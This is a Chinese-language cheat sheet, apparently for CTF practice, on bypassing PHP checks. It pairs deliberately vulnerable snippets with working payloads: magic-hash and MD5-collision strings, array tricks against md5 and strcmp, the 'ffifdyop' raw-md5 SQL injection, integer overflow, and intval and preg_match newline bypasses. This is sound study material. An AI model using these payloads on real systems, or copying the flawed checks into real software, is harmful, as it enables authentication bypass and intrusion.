php常见绕过

==弱比较

<?php
if (isset($_POST['a']) and isset($_POST['b'])) {
	if ($_POST['a'] != $_POST['b']) {
		if (md5($_POST['a']) == md5($_POST['b']))
			echo 'flag';
		else
			echo 'you are wrong';
	}
else
    echo "请输入不同的a，b值";
}

payload1-传数组

a[]=111&b[]=222

payload2-传入两个md5加密后是0e开头的字符串（字符串必须是纯数字）

a=s878926199a&b=s155964671a

===强比较

除了值之外，两边类型也必须相等

$a=1;
$a==="1";	//flase
$a=="1";	//true

<?php
if (isset($_POST['a']) and isset($_POST['b'])) {
	if ($_POST['a'] != $_POST['b']) {
		if (md5($_POST['a']) === md5($_POST['b']))
			echo 'flag';
		else
			echo 'you are wrong';
	}
else
    echo "请输入不同的a，b值";
}

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
} else {
    echo ("nonono");
}	//这种只能使用payload2

payload1-传数组

a[]=111&b[]=222

payload2-用md5碰撞，传入两个md5加密后结果相同的字符串（需要在bp中传参，hackbar中涉及自动编码问题不可行）

//因为有不可见字符，已用urlencode加密
1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0

1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

$c==md5($c)

payload-本身弱比较

c=0e215962017
//0e215962017的md5值为0e291242476940776845150308577824

strcmp

strcmp($a,$b) 比较两个字符串是否相等，相等返回0，出错也返回0，因此传入数组使其出错

if(!strcmp($a, $flag)){
	echo $flag;
}

payload

a[]=1

假如sql中查询语句为select * from 'admin' where password=md5($pass,true)

mysql会把hex当ascii解释，因此如果某个字符串的md5开头为`'or'数字`格式，就可以绕过验证
ffifdyop被md5加密后为：'or'6É]™é!r,ùíb

数组溢出

if($array[++$c]=1){ 
	if($array[]=1){ 
		echo "nonono"; 
	}
    echo "success";
}
// 两条均为赋值语句，要让array数组中下标为 $c+1 赋值成功，下标为 $c+2 赋值失败
// 利用数组溢出，让$c+2时刚好溢出，PHP32位最大值2147483647，64位最大值为9223372036854775807
// 因此让$c=9223372036854775806（以64位为例）

intval绕过（科学计数法）

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "success.</br>";
    }else{
        die("no");
    }
}else{
    die("no");
} 
// 利用科学计数法绕过，intval('1e4')为1，而intval('1e4'+1)为10001
// 因此让$num=1e4（或者'1e4'）

弱类型整数大小比较绕过

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
// 用非数字弱类型绕过：password=1337a
// 或者传递数组：password[]=1

_检测绕过 + preg_match绕过

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
// 第一个点：需要传 b_u_p_t 变量，但是传递的变量又不能包括_
// 可以用 空格( )、加号(+)、小数点(.)、或者它们的url编码绕过
// 第二个点：传入的参数不能为23333但是又必须被正则头尾匹配
// 利用换行符%0a绕过
// payload：b+u+p+t=23333%0a

额外补充：

http://localhost/aaa/index.php?p=222&q=333
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI']= "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME']= "/aaa/index.php";
$_SERVER['PHP_SELF']= "/aaa/index.php";

0e开头MD5值小结
sosei3f
0ea0851992f2e29b
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469